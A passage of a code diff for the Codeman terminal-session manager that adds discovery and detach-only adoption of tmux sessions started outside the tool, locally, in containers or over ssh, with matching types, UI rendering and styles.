spawnErrLabel: 'shell mux attachment',
+131 -13
View File
@@ -23,6 +23,13 @@
import { EventEmitter } from 'node:events';
import { collectDescendants } from './proc-tree.js';
import {
foreignViewSessionName,
buildForeignDockerViewKillCommand,
buildForeignAttachCommand,
buildForeignDockerAttachCommand,
buildForeignRemoteAttachCommand,
} from './foreign-tmux.js';
import { execSync, exec, execFile } from 'node:child_process';
import { promisify } from 'node:util';
@@ -57,6 +64,7 @@ import {
type OmpConfig,
type SessionRemote,
type SessionDocker,
type SessionAdopt,
type DockerCommandMode,
} from './types.js';
import { buildEffortCliArgs, buildNameCliArgs } from './session-cli-builder.js';
@@ -1619,6 +1627,45 @@ function buildRemoteSessionCommand(options: {
return buildRemoteLaunchCommand(options);
}
/**
* ADOPTION — the pane command for a wrapper session around a tmux session a
* human started. Sibling of `buildRemoteSessionCommand` and
* `buildDockerLaunchCommand`, and the same shape of decision: the wrapper is an
* ordinary `codeman-<8hex>` session on OUR socket, and only what runs INSIDE its
* pane differs per location.
*
* That indirection is what makes adoption safe by construction rather than by
* discipline: `killSession` only ever kills the wrapper on our own socket, so
* there is no shape of caller bug that reaches the foreign server with a
* `kill-session`. It is the same reasoning that keeps a non-owned REMOTE session
* safe (see the detach-not-kill early return in `killSession`).
*/
function buildAdoptSessionCommand(adopt: SessionAdopt, sessionId: string): string {
const target = {
socketPath: adopt.socketPath,
targetSession: adopt.targetSession,
// Derived rather than required: the view name is a function of the Codeman
// session id, so a record that predates it (or one whose creator filled it in
// after construction) still produces the right name instead of an empty `-s`.
viewSession: adopt.viewSession || foreignViewSessionName(sessionId),
};
if (adopt.location === 'docker' && adopt.docker) {
return buildForeignDockerAttachCommand({
...target,
dockerBase: buildDockerBaseArgs(adopt.docker).join(' '),
containerName: adopt.docker.containerName,
});
}
if (adopt.location === 'remote' && adopt.remote) {
return buildForeignRemoteAttachCommand({
...target,
sshArgs: buildSshConnectionArgs(adopt.remote),
sshTarget: remoteSshTarget(adopt.remote),
});
}
return buildForeignAttachCommand(target);
}
/**
* Set sensitive environment variables on a tmux session via setenv.
* These are inherited by panes but not visible in ps output or tmux history.
@@ -2154,6 +2201,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
historyLimit = DEFAULT_TMUX_HISTORY_LIMIT,
remote,
docker,
adopt,
owner,
} = options;
const muxName = `codeman-${sessionId.slice(0, 8)}`;
@@ -2175,6 +2223,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2197,7 +2246,12 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// with nothing pointing at the real cause. The container's own CLIs are
// verified by the adoption preflight / image gate before launch instead.
const { pathExport, dir: cliDir } = this.buildPathExport(mode);
const cliRunsInContainer = !!docker;
// ⚠️ An ADOPTED session's CLI was started by a human in a process we did not
// spawn — our pane only runs `tmux attach`. Requiring the binary here would
// reject adopting a claude that lives in a container or on an ssh host, and
// (worse) reject a LOCAL adoption whenever the agent is outside the server
// process's PATH, which is the usual systemd/launchd situation.
const cliRunsInContainer = !!docker || !!adopt;
if (!cliRunsInContainer && mode === 'claude' && !cliDir) {
throw new Error(getClaudeNotFoundMessage());
}
@@ -2253,11 +2307,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
try {
// Build the full command to run inside tmux
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools })
: localFullCmd;
// Create tmux session in three steps to handle cold-start (no server running)
// and avoid the race where the command exits before remain-on-exit is set:
@@ -2321,7 +2377,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// Replace the shell with the actual command (no echo in terminal). Keep
// pane launch in /tmp, then cd inside bash against the current mount table.
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane must NOT be `cd`'d: it only attaches, and its
// `workingDir` is the FOREIGN pane's cwd observed at adopt time — a path
// that need not exist on this host at all (a container path, a remote path).
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
execSync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
{
@@ -2387,6 +2446,7 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
workingDir,
remote,
docker,
adopt,
owner,
mode,
attached: false,
@@ -2482,6 +2542,11 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
} = options;
const session = this.sessions.get(sessionId);
if (!session) return null;
// Adoption metadata comes from the tracked session, not the caller: a respawn
// of an adopted wrapper RE-ATTACHES to the same foreign target. It must never
// be able to become "launch a fresh agent here" because a caller forgot to
// pass the field through.
const adopt = options.adopt ?? session.adopt;
const muxName = session.muxName;
if (!isValidMuxName(muxName) || !isValidPath(workingDir)) return null;
@@ -2512,11 +2577,13 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
const config = niceConfig || DEFAULT_NICE_CONFIG;
const cmd = wrapWithNice(baseCmd, config);
const localFullCmd = `${buildNofileLimitCommand()} && ${pathExport}${envExportsStr} && ${cmd}`;
const fullCmd = docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools })
: localFullCmd;
const fullCmd = adopt
? buildAdoptSessionCommand(adopt, sessionId)
: docker
? buildDockerLaunchCommand(resolveDockerLaunchOptions(mode, docker, sessionId, resumeSessionId))
: remote
? buildRemoteSessionCommand({ mode, remote, sessionId, claudeMode, allowedTools })
: localFullCmd;
try {
// For OpenCode: set sensitive env vars via tmux setenv before respawn
@@ -2538,7 +2605,10 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
this.applyEnvOverrides(muxName, envOverrides);
// -c /tmp + cd bounce — see createSession() for rationale (stale FUSE state).
const launchCmd = remote || docker ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
// ⚠️ An adopted pane must NOT be `cd`'d: it only attaches, and its
// `workingDir` is the FOREIGN pane's cwd observed at adopt time — a path
// that need not exist on this host at all (a container path, a remote path).
const launchCmd = remote || docker || adopt ? fullCmd : `cd ${JSON.stringify(workingDir)} && ${fullCmd}`;
await execAsync(
`${this.tmux()} respawn-pane -k -c ${TMUX_LAUNCH_CWD} -t "${muxName}" bash -c ${JSON.stringify(launchCmd)}`,
{
@@ -2745,6 +2815,54 @@ export class TmuxManager extends EventEmitter implements TerminalMultiplexer {
// for a non-owned session. The only `kill-session` we run is on OUR LOCAL
// socket (`this.tmux()` = `tmux -L codeman` on THIS host), which kills the
// local pane — it does NOT reach the REMOTE socket.
// ADOPTION — DETACH-NOT-KILL, by construction rather than by discipline.
//
// An adopted session's wrapper is an ordinary session on OUR socket whose
// pane runs `tmux attach` (or `docker exec …`/`ssh …` then attach) against a
// FOREIGN server. Killing the wrapper kills our attach client, which is a
// DETACH on the foreign side; the human's session keeps running, and our
// grouped view session self-destroys via `destroy-unattached on`.
//
// The guard below is a formality more than a fence — `this.tmux()` only ever
// addresses our own socket, so no code path here CAN reach the foreign
// server. It is written out anyway so the intent survives future edits, the
// same way the non-owned-remote early return does.
if (session.adopt) {
console.log(`[TmuxManager] DETACH (adopted): tearing down wrapper only for ${session.muxName}`);
// A `docker exec` survives its client, so the in-container view would stay
// attached forever and leak. Best-effort, and it can only reach OUR view.
// See buildForeignDockerViewKillCommand for why local/remote need nothing.
if (session.adopt.location === 'docker' && session.adopt.docker) {
try {
execSync(
`${buildForeignDockerViewKillCommand({
dockerBase: buildDockerBaseArgs(session.adopt.docker).join(' '),
containerName: session.adopt.docker.containerName,
socketPath: session.adopt.socketPath,
viewSession: session.adopt.viewSession || foreignViewSessionName(sessionId),
})} 2>/dev/null`,
{ timeout: EXEC_TIMEOUT_MS, stdio: 'ignore' }
);
} catch {
// The container may be gone, or the view already collected.
}
}
if (isValidMuxName(session.muxName)) {
try {
execSync(`${this.tmux()} kill-session -t "${session.muxName}" 2>/dev/null`, {
timeout: EXEC_TIMEOUT_MS,
});
} catch {
// Wrapper may already be gone.
}
}
this.lastPaneCount.delete(session.muxName);
this.sessions.delete(sessionId);
this.saveSessions();
this.emit('sessionKilled', { sessionId });
return true;
}
if (session.remote && session.remote.owned === false) {
console.log(`[TmuxManager] DETACH (non-owned remote): tearing down local pane only for ${session.muxName}`);
if (isValidMuxName(session.muxName)) {
+102
View File
@@ -0,0 +1,102 @@
/**
* @fileoverview Discovery contract for FOREIGN tmux sessions — the ones a human
* started by hand (`tmux new -s work`, then `claude` or `codex` inside it), which
* Codeman did not create and does not own.
*
* Codeman's own sessions live on a dedicated, instance-scoped socket
* (`tmux -L codeman`) and are gated by `SAFE_MUX_NAME_PATTERN`. Everything here
* is about the OTHER servers: the default socket, a colleague's `-L` socket, the
* tmux inside a container, the tmux on an ssh host.
*
* Key exports:
* - ForeignTmuxLocation, WHERE a foreign tmux server lives — the same three
* locations Codeman already runs sessions in (local / docker / remote).
* - ForeignPaneProbe, one parsed row of the probe script's output.
* - ForeignTmuxSession, one adoptable candidate as the UI sees it.
* - ForeignDiscoveryResult, one scan of one or more locations.
*
* ⚠️ `location` here describes where a candidate was FOUND. Once adopted, the
* location fact is carried by `SessionAdopt` (types/session.ts) instead. The two
* must never stand in for each other, or an un-adopted candidate starts looking
* like a live session.
*
* No I/O here. The probe/parse/classify core is `src/foreign-tmux.ts`; the three
* transports are `src/foreign-tmux-discovery.ts`.
*/
import type { SessionMode } from './session.js';
/** Where a foreign tmux server lives. Mirrors Codeman's own three locations. */
export type ForeignTmuxLocationKind = 'local' | 'docker' | 'remote';
/**
* A location to scan. `hostId` refers to the saved docker-host / remote-host
* registry entry, so the transport can be rebuilt without trusting the browser.
*/
export interface ForeignTmuxLocation {
kind: ForeignTmuxLocationKind;
/** Registry id (`docker-hosts.json` / `remote-hosts.json`). Absent for local. */
hostId?: string;
/** Display label for the UI. Absent for local. */
label?: string;
/** Container to `docker exec` into (`kind === 'docker'`). */
containerName?: string;
}
/** One pane row from the probe script, after parsing. */
export interface ForeignPaneProbe {
socketPath: string;
sessionName: string;
windowIndex: number;
paneId: string;
panePid: number;
/** tmux's own idea of the running command — `node` for both claude and codex. */
paneCurrentCommand: string;
paneCurrentPath: string;
sessionAttached: boolean;
/** tmux `session_created`, epoch SECONDS. */
sessionCreated: number;
windows: number;
}
/** One adoptable foreign session. */
export interface ForeignTmuxSession {
/**
* Stable, opaque id for the UI and the adopt request. Derived from
* location + socket + session name, so it survives a re-scan and can be
* matched against an already-adopted session without echoing raw paths back
* through the browser as command inputs.
*/
id: string;
location: ForeignTmuxLocationKind;
hostId?: string;
hostLabel?: string;
containerName?: string;
/** Absolute socket path AS SEEN FROM THE LOCATION (not from Codeman's host). */
socketPath: string;
sessionName: string;
windows: number;
attached: boolean;
/** Epoch MILLISECONDS (tmux reports seconds; normalized on parse). */
createdAt: number;
/** What the active pane is running, from the bounded process-tree walk. */
mode: SessionMode;
/** Truncated command line behind the classification, for the UI subtitle. */
command: string;
/** The active pane's cwd. Informational — an adopted pane is never `cd`'d. */
workingDir: string;
/** Codeman session id already wrapping this target, when one exists. */
adoptedBy?: string;
}
/** One discovery scan. Never throws — unreachable locations become notes. */
export interface ForeignDiscoveryResult {
sessions: ForeignTmuxSession[];
/** Epoch ms of the scan the result came from (may be a cache hit). */
scannedAt: number;
/**
* Non-fatal reasons a location produced nothing (host unreachable, no tmux,
* engine down). Surfaced so an empty list is never silently ambiguous.
*/
notes: string[];
}
+1
View File
@@ -72,3 +72,4 @@ export * from './search.js';
export * from './user.js';
export * from './webview.js';
export * from './intent.js';
export * from './foreign-tmux.js';
+74
View File
@@ -318,6 +318,74 @@ export interface SessionDocker {
owned?: boolean;
}
/**
* Connection facts needed to reach an adopted foreign tmux server. Deliberately
* the exact `Pick`s that `buildSshConnectionArgs` / `buildDockerBaseArgs` consume,
* so an adopted session can rebuild its command after a server restart without
* re-reading a registry that may have been edited in the meantime.
*/
export interface AdoptRemoteConnection extends RemoteSshOptions {
hostId: string;
label: string;
host: string;
username: string;
port?: number;
}
export interface AdoptDockerConnection {
hostId: string;
label: string;
engine: DockerEngine;
containerName: string;
daemonHost?: string;
context?: string;
}
/**
* ADOPTION overlay — a tmux session a HUMAN started, that Codeman attached to.
*
* This is the FOURTH location overlay, alongside remote-SSH and Docker, and it
* obeys the same rule they do: it is **not** a `SessionMode`. The mode is still
* claude / codex / shell / …, decided by the process-tree probe rather than by
* the user.
*
* Shape of an adopted session: Codeman creates a NORMAL wrapper session on its
* OWN socket (`codeman-<8hex>`, so `isValidMuxName` and every capture/input/
* recovery path is untouched) whose single pane runs a command that attaches to
* the foreign target. Killing the tab kills only the wrapper — the foreign
* session is structurally out of reach, exactly like a non-owned remote session.
*
* ⚠️ There is no `owned` field here, unlike `SessionRemote`/`SessionDocker`: an
* adopted session is *by definition* someone else's. A field that could be true
* would invite a code path that kills it.
*/
export interface SessionAdopt {
/** Where the foreign tmux server lives. */
location: 'local' | 'docker' | 'remote';
/** Absolute socket path as seen FROM that location (passed to `tmux -S`). */
socketPath: string;
/** The foreign session we attach to. Never Codeman-named, never name-validated. */
targetSession: string;
/**
* Our own grouped VIEW session on the foreign server. Grouping (rather than a
* bare `attach`) is what keeps the human's own terminal from being resized to
* our viewport: tmux sizes a window to its SMALLEST attached client, and a
* grouped session gets an independent size. Created with
* `destroy-unattached on` so it evaporates with our pane.
*/
viewSession: string;
/**
* True when the foreign tmux was too old to group and we fell back to a
* READ-ONLY attach. Surfaced in the UI — the fallback must never silently be
* a writable bare attach, which would resize the owner's terminal.
*/
readOnly?: boolean;
/** The pane cwd at adoption time. Informational: an adopted pane is never `cd`'d. */
paneCurrentPath?: string;
remote?: AdoptRemoteConnection;
docker?: AdoptDockerConnection;
}
/**
* Valid Claude CLI effort levels (claude >= 2.1.154).
* `ultracode` = xhigh effort + standing dynamic-workflow orchestration; it is a
@@ -571,6 +639,12 @@ export interface SessionState {
remote?: SessionRemote;
/** Docker execution metadata, present when this session runs inside a container via local tmux + docker exec */
docker?: SessionDocker;
/**
* Adoption metadata, present when this session is a wrapper around a tmux
* session a human started outside Codeman. Its presence is what disables
* respawn/Ralph/orchestrator and hook-backed waits for the session.
*/
adopt?: SessionAdopt;
/** Owning username in multi-user mode; undefined in single-user (ignored when the flag is off) */
owner?: string;
/**
+33 -3
View File
@@ -6352,6 +6352,25 @@ class CodemanApp {
const sessionNameEl = document.getElementById('closeConfirmSessionName');
sessionNameEl.textContent = name;
// ⚠️ An ADOPTED session has no "kill" outcome to offer. Its wrapper is the
// only thing Codeman owns; the server's killSession refuses to reach the
// foreign server at all (see the adopted early return in tmux-manager). So
// the red "Terminate the session completely" option is not merely redundant
// here, it is a false promise about someone else's live work — and the kind
// of false promise that stops a user closing the tab at all. Hide it, and say
// what actually happens instead.
const killBtn = document.getElementById('closeConfirmKillBtn');
const keepTitle = document.getElementById('closeConfirmKeepTitle');
const keepDesc = document.getElementById('closeConfirmKeepDesc');
const adopted = !!session.adopt;
if (killBtn) killBtn.style.display = adopted ? 'none' : '';
if (keepTitle) keepTitle.textContent = adopted ? 'Close Tab' : 'Remove Tab';
if (keepDesc) {
keepDesc.textContent = adopted
? `Detaches only — "${session.adopt.targetSession}" keeps running for whoever started it`
: 'Tmux session keeps running in background';
}
// Update kill button text based on session mode
const killTitle = document.getElementById('closeConfirmKillTitle');
if (killTitle) {
@@ -6386,9 +6405,20 @@ class CodemanApp {
const sessionId = this.pendingCloseSessionId;
this.cancelCloseSession();
if (sessionId) {
await this.closeSession(sessionId, killMux);
}
if (!sessionId) return;
// ⚠️ For an ADOPTED session `killMux` does not mean what it means everywhere
// else. There is no agent of ours to terminate: the only thing it can reach
// is the WRAPPER we created, and the server's adopted branch in
// `killSession` tears that down without ever touching the foreign server.
// So "keep the tmux session running" has no useful meaning here — taking it
// literally leaves our wrapper AND its grouped view session parked on the
// user's own socket forever, one pair per tab they ever closed (measured:
// `codeman-view-*` survived every close and the row stayed "Go to tab" with
// no tab behind it). Always tear the wrapper down; the foreign session is
// structurally out of reach either way.
const adopted = !!this.sessions.get(sessionId)?.adopt;
await this.closeSession(sessionId, adopted ? true : killMux);
}
nextSession() {
+359
View File
@@ -0,0 +1,359 @@
/**
* @fileoverview The "sessions someone opened by hand" block on the home screen.
*
* A tmux session a human started (`tmux new -s work`, then `claude`, or just a
* shell) is invisible to Codeman: it lives on the DEFAULT socket, not the
* instance-scoped one Codeman owns. `GET /api/mux/foreign` finds those, and one
* click wraps one in a Codeman tab (`POST /api/sessions/adopt`).
*
* ## One renderer, two containers
*
* The welcome screen and the phone overview both show this list. They call the
* SAME `renderForeignSessions(container)` rather than each building rows, because
* two renderers are how one surface ends up calling a session "shell" while the
* other calls it "bash". Same reason `CodemanSessionOrder` is shared.
*
* ## Polling only while the home screen is up
*
* The list is a poll, not an SSE stream: the server caches a local scan on a TTL,
* so N tabs polling costs one scan per TTL no matter how many are open. But an
* open tab that has LEFT the home screen must stop — otherwise every background
* tab keeps sweeping tmux sockets forever. `startForeignPolling` /
* `stopForeignPolling` are called from `showWelcome`/`hideWelcome`.
*
* ⚠️ Docker and remote locations are NOT polled. Each costs a `docker exec` or a
* full ssh handshake per target, and doing that on every home-screen load is the
* one cost the server-side design explicitly refuses. They are fetched only when
* the user asks, via the "scan containers & hosts" toggle, which then rides along
* with the same poll.
*
* ⚠️ Adoption creates a REAL session, so the button locks while in flight and the
* result goes through the app's normal idempotent create path
* (`_onSessionCreated` then `selectSession`) — never by inserting a tab here.
*
* @mixin Extends CodemanApp.prototype via Object.assign
* @dependency app.js (this.sessions, _onSessionCreated, selectSession, _apiJson)
* @dependency api-client.js (_apiJson / _apiPost envelope unwrapping)
* @dependency ralph-panel.js (formatRelativeTime)
* @loadorder 12.57 of 16, after home-sessions.js, before entrance-animations.js
*/
/** Fallback poll cadence; the server sends its own in `pollIntervalMs`. */
const FOREIGN_POLL_FALLBACK_MS = 8000;
/** Mode label shown on a row. Deliberately the same words the tab strip uses. */
const FOREIGN_MODE_LABEL = {
claude: 'Claude',
codex: 'Codex',
opencode: 'OpenCode',
gemini: 'Gemini',
antigravity: 'Antigravity',
pi: 'Pi',
grok: 'Grok',
deepseek: 'DeepSeek',
shell: 'Shell',
};
const FOREIGN_LOCATION_LABEL = {
local: 'this machine',
docker: 'container',
remote: 'remote',
};
Object.assign(CodemanApp.prototype, {
// ═══════════════════════════════════════════════════════════════
// Lifecycle
// ═══════════════════════════════════════════════════════════════
/**
* Begin polling. Idempotent: the home screen re-shows on several paths
* (boot, closing the last tab, a breakpoint change) and each would otherwise
* stack another interval on top of the last.
*/
startForeignPolling() {
if (this._foreignPollTimer) return;
void this.loadForeignSessions();
this._foreignPollTimer = setInterval(() => {
void this.loadForeignSessions();
}, this._foreignPollMs || FOREIGN_POLL_FALLBACK_MS);
},
/** Stop polling. MUST run on leaving the home screen — see @fileoverview. */
stopForeignPolling() {
if (!this._foreignPollTimer) return;
clearInterval(this._foreignPollTimer);
this._foreignPollTimer = null;
},
/** Whether the user asked for the expensive docker/remote scan too. */
foreignScanRemote() {
return this._foreignScanRemote === true;
},
toggleForeignScanRemote() {
this._foreignScanRemote = !this._foreignScanRemote;
void this.loadForeignSessions();
},
// ═══════════════════════════════════════════════════════════════
// Data
// ═══════════════════════════════════════════════════════════════
async loadForeignSessions() {
const wide = this.foreignScanRemote();
const qs = wide ? '?docker=1&remote=1' : '';
const data = await this._apiJson(`/api/mux/foreign${qs}`);
if (!data) {
// A failed poll must not blank a list the user is looking at: keep the
// last good result and let the next tick recover.
this._foreignError = true;
this.renderAllForeignSessions();
return;
}
this._foreignError = false;
this._foreignSessions = Array.isArray(data.sessions) ? data.sessions : [];
this._foreignNotes = Array.isArray(data.notes) ? data.notes : [];
this._foreignCanScanWide = data.canScanWide === true;
if (Number.isFinite(data.pollIntervalMs)) this._foreignPollMs = data.pollIntervalMs;
this.renderAllForeignSessions();
},
/**
* Adopt one candidate.
*
* The in-flight lock is per BUTTON, not global: two different foreign sessions
* can legitimately be adopted back to back. The server holds the real
* one-wrapper-per-target guarantee; this only stops a double-click.
*/
async adoptForeignSession(id, buttonEl) {
if (this._foreignAdoptInFlight) return;
this._foreignAdoptInFlight = true;
if (buttonEl) {
buttonEl.disabled = true;
buttonEl.textContent = codemanT ? codemanT('Opening…') : 'Opening…';
}
try {
const body = { id };
if (this.foreignScanRemote()) {
body.docker = true;
body.remote = true;
}
const data = await this._apiJson('/api/sessions/adopt', { method: 'POST', body });
if (!data || !data.session) {
this.showToast?.(
codemanT
? codemanT('That session is gone. Refreshing the list.')
: 'That session is gone. Refreshing the list.',
'error'
);
await this.loadForeignSessions();
return;
}
// Go through the app's normal create path so tab order, lineage lines and
// SSE-vs-POST ordering behave exactly as they do for a Run.
this._onSessionCreated?.(data.session);
await this.selectSession(data.session.id);
await this.loadForeignSessions();
} finally {
this._foreignAdoptInFlight = false;
if (buttonEl) {
buttonEl.disabled = false;
buttonEl.textContent = codemanT ? codemanT('Open') : 'Open';
}
}
},
// ═══════════════════════════════════════════════════════════════
// Render
// ═══════════════════════════════════════════════════════════════
/** Paint every mounted container (welcome + phone overview). */
renderAllForeignSessions() {
for (const id of ['foreignSessions', 'mobileForeignSessions']) {
const el = document.getElementById(id);
if (el) this.renderForeignSessions(el);
}
},
/**
* Render into one container. The ONLY row builder — see @fileoverview.
*
* Everything is built with DOM APIs and `textContent`: a session name and a
* command line come from another user's process, so they are never allowed
* near `innerHTML`.
*/
renderForeignSessions(container) {
const rows = Array.isArray(this._foreignSessions) ? this._foreignSessions : [];
container.innerHTML = '';
if (!rows.length) {
// Hidden rather than shown-empty: on a first run there is usually nothing,
// and an empty block on the welcome screen reads as a broken feature.
// A note is a REASON the list is empty, so a block carrying one must stay
// visible — hiding it is exactly how "where did my session go" becomes
// unanswerable.
const hasNotes = Array.isArray(this._foreignNotes) && this._foreignNotes.length > 0;
// ⚠️ `canScanWide` must keep the block visible even with nothing to show.
// The scan toggle lives in the header, so hiding an empty block also hides
// the only control that could fill it — on a host with containers but no
// local tmux sessions that made the whole feature unreachable.
container.hidden = !this.foreignScanRemote() && !this._foreignError && !hasNotes && !this._foreignCanScanWide;
if (!container.hidden) {
container.appendChild(this._foreignHeader(0));
const empty = document.createElement('div');
empty.className = 'foreign-empty';
this._appendForeignNotes(container);
empty.textContent = this._foreignError
? codemanT
? codemanT('Could not reach the server.')
: 'Could not reach the server.'
: codemanT
? codemanT('No sessions found outside Codeman.')
: 'No sessions found outside Codeman.';
container.appendChild(empty);
}
return;
}
container.hidden = false;
container.appendChild(this._foreignHeader(rows.length));
this._appendForeignNotes(container);
const list = document.createElement('div');
list.className = 'foreign-list';
// Adoptable first: an already-open one is not an action, it is a reminder.
const sorted = rows.slice().sort((a, b) => {
const aOpen = a.adoptedBy ? 1 : 0;
const bOpen = b.adoptedBy ? 1 : 0;
if (aOpen !== bOpen) return aOpen - bOpen;
return (b.createdAt || 0) - (a.createdAt || 0);
});
for (const row of sorted) list.appendChild(this._foreignRow(row));
container.appendChild(list);
},
/**
* Why a scan produced less than the user expected.
*
* Without this, a session skipped for an unsafe name or a host that could not
* be reached is simply ABSENT, and "my tmux session does not show up" has no
* answer anywhere in the product. Notes are server-authored strings, rendered
* as text.
*/
_appendForeignNotes(container) {
const notes = Array.isArray(this._foreignNotes) ? this._foreignNotes : [];
if (!notes.length) return;
const box = document.createElement('div');
box.className = 'foreign-notes';
box.setAttribute('data-i18n-skip', '');
for (const n of notes) {
const line = document.createElement('div');
line.className = 'foreign-note';
line.textContent = n;
box.appendChild(line);
}
container.appendChild(box);
},
_foreignHeader(count) {
const header = document.createElement('div');
header.className = 'foreign-header';
const title = document.createElement('h3');
title.className = 'foreign-title';
title.textContent = codemanT ? codemanT('Opened outside Codeman') : 'Opened outside Codeman';
header.appendChild(title);
if (count) {
const badge = document.createElement('span');
badge.className = 'foreign-count';
badge.setAttribute('data-i18n-skip', '');
badge.textContent = String(count);
header.appendChild(badge);
}
const scan = document.createElement('button');
scan.type = 'button';
scan.className = 'foreign-scan-toggle';
scan.dataset.foreignAction = 'toggle-scan';
scan.setAttribute('aria-pressed', String(this.foreignScanRemote()));
scan.title = codemanT
? codemanT('Also scan containers and remote hosts (slower)')
: 'Also scan containers and remote hosts (slower)';
scan.textContent = this.foreignScanRemote() ? '⟳ all' : '⟳ local';
header.appendChild(scan);
return header;
},
_foreignRow(row) {
const item = document.createElement('div');
item.className = 'foreign-row';
if (row.adoptedBy) item.classList.add('foreign-row--open');
const dot = document.createElement('span');
dot.className = `foreign-dot foreign-dot--${row.mode || 'shell'}`;
item.appendChild(dot);
const body = document.createElement('span');
body.className = 'foreign-row-body';
const line1 = document.createElement('span');
line1.className = 'foreign-row-name';
line1.setAttribute('data-i18n-skip', '');
line1.textContent = row.sessionName || '(unnamed)';
body.appendChild(line1);
const line2 = document.createElement('span');
line2.className = 'foreign-row-sub';
line2.setAttribute('data-i18n-skip', '');
const bits = [FOREIGN_MODE_LABEL[row.mode] || row.mode];
const where = row.hostLabel || FOREIGN_LOCATION_LABEL[row.location] || row.location;
if (where) bits.push(where);
if (row.workingDir) bits.push(row.workingDir);
line2.textContent = bits.join(' · ');
line2.title = row.command || '';
body.appendChild(line2);
item.appendChild(body);
const action = document.createElement('button');
action.type = 'button';
action.className = 'foreign-open-btn';
if (row.adoptedBy) {
action.dataset.foreignAction = 'select';
action.dataset.foreignSession = row.adoptedBy;
action.textContent = codemanT ? codemanT('Go to tab') : 'Go to tab';
} else {
action.dataset.foreignAction = 'adopt';
action.dataset.foreignId = row.id;
action.textContent = codemanT ? codemanT('Open') : 'Open';
}
item.appendChild(action);
return item;
},
/**
* One delegated listener per container, wired once. Delegation matters here
* because the list is fully rebuilt on every poll — per-button listeners would
* leak one set per tick.
*/
wireForeignSessions() {
if (this._foreignWired) return;
this._foreignWired = true;
document.addEventListener('click', (event) => {
const el = event.target?.closest?.('[data-foreign-action]');
if (!el) return;
const action = el.dataset.foreignAction;
if (action === 'adopt') {
void this.adoptForeignSession(el.dataset.foreignId, el);
} else if (action === 'select') {
void this.selectSession(el.dataset.foreignSession);
} else if (action === 'toggle-scan') {
this.toggleForeignScanRemote();
}
});
},
});
+11 -4
View File
@@ -524,6 +524,12 @@
</div>
<div class="history-list" id="historyList"></div>
</div>
<!-- Sessions a human started outside Codeman (foreign-sessions.js).
Hidden until a scan finds one; never rendered empty on a fresh
install, where an empty block reads as a broken feature. -->
<div class="welcome-foreign">
<div class="foreign-sessions" id="foreignSessions" hidden></div>
</div>
<p class="welcome-hint">Or click Run to start</p>
<button class="welcome-ralph-link" onclick="app.showRalphWizard()">Start Ralph Loop &rarr;</button>
</div>
@@ -1519,11 +1525,11 @@
<p class="modal-session-name" id="closeConfirmSessionName"></p>
</div>
<div class="close-options">
<button class="close-option" onclick="app.confirmCloseSession(false)">
<span class="close-option-title">Remove Tab</span>
<span class="close-option-desc">Tmux session keeps running in background</span>
<button class="close-option" onclick="app.confirmCloseSession(false)" id="closeConfirmKeepBtn">
<span class="close-option-title" id="closeConfirmKeepTitle">Remove Tab</span>
<span class="close-option-desc" id="closeConfirmKeepDesc">Tmux session keeps running in background</span>
</button>
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)">
<button class="close-option close-option-danger" onclick="app.confirmCloseSession(true)" id="closeConfirmKillBtn">
<span class="close-option-title" id="closeConfirmKillTitle">Kill Tmux & Claude Code</span>
<span class="close-option-desc">Terminate the session completely</span>
</button>
@@ -3470,6 +3476,7 @@
<script defer src="webview-tabs.js"></script>
<script defer src="mobile-overview.js"></script>
<script defer src="home-sessions.js"></script>
<script defer src="foreign-sessions.js"></script>
<script defer src="entrance-animations.js"></script>
<script defer src="ralph-wizard.js"></script>
<script defer src="api-client.js"></script>
+10
View File
@@ -432,6 +432,16 @@ Object.assign(CodemanApp.prototype, {
)
);
// Sessions a human opened outside Codeman. Its own container, rebuilt by the
// ONE renderer in foreign-sessions.js — the phone must not grow a second row
// builder that could describe the same session differently from the desktop.
const foreign = document.createElement('div');
foreign.className = 'foreign-sessions mobile-foreign-sessions';
foreign.id = 'mobileForeignSessions';
foreign.hidden = true;
el.appendChild(foreign);
this.renderForeignSessions?.(foreign);
el.appendChild(
this._buildMobileOverviewSection(
'Past sessions',
+12
View File
@@ -3836,3 +3836,15 @@ html[data-session-list="sidebar"] .session-sidebar .session-tab .tab-close {
transition: none;
}
}
/* Foreign sessions block inside the phone overview (foreign-sessions.js).
The desktop block sits inside the welcome column; here it is a full-width
section between CURRENT and PAST, so it only needs the surrounding spacing —
every row style is shared with styles.css on purpose. */
.mobile-foreign-sessions {
margin: 0.75rem 0.75rem 0;
}
.mobile-foreign-sessions .foreign-list {
max-height: none;
}
+170
View File
@@ -17618,3 +17618,173 @@ html[data-session-list="sidebar"][data-sidebar="collapsed"] .btn-sidebar-toggle
transition: none;
}
}
/* ═══════════════════════════════════════════════════════════════
Foreign sessions — tmux sessions a human started outside Codeman
(foreign-sessions.js). Rendered on the welcome screen and, with the
